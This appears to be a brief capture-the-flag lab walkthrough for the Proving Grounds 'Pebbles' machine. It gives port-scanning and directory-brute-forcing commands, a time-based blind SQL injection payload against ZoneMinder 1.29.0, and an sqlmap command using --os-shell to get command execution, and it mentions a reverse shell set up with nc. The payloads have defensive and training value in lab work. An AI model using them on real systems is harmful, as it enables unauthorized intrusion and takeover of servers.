Proving Grounds Practice : Pebbles Walkthrough

 Proving Grounds Practice : Pebbles Walkthrough

Foothole (立足點 ) :

• 80 gobuster 發現 /zm，CMS ZoneMinder，參考 POC 直接 SQLMAP 進去拿 Shell

PE ( 提權 ) :

• 不用 PE

Rustscan，└─$ rustscan -a 192.168.121.52 --scripts none --ulimit 5000 | tee rustscan

snmp check，└─$ sudo nmap -sU -p 161 192.168.121.52 | tee snmp                            

nmap，└─$ sudo nmap -sCV -A -p 21,22,80,3305,8080 192.168.121.52 | tee nmap

FTP 使用匿名與 ftp:ftp 登入失敗

80 /

searchsploit

測試了一些常用的帳號密碼組合都無法登入

80 /robots.txt

3305 / 是 Apache 預設網頁

8080 / 是 Tomcat 預設網頁

gobuster 80 / 發現一個 /zm

80 /zm 發現 CMS ZoneMinder v1.29.0

searchsploit zoneminder

參考 41239.txt SQL Injection 的描述

打 <target IP>/zm/index.php 且 Payload 使用  view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434

使用 Burp Suite 依據 PoC 樣式送出 過了 5 秒才有回應，標準的 Blind SQL Injection

將最後的 minTime 改 5 不影響結果輸出，所以看來該值不重要

如下測試也沒問題 view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#&minTime=5

後續 Payload 就直接使用 "view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#&minTime=5"

開啟 sqlmap 直接測試看看，└─$ sqlmap http://192.168.121.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" --os-shell

拿到 shell 後載入 nc 再建立 Reverse Shell

4444 沒進來，改 3305 Port 成功了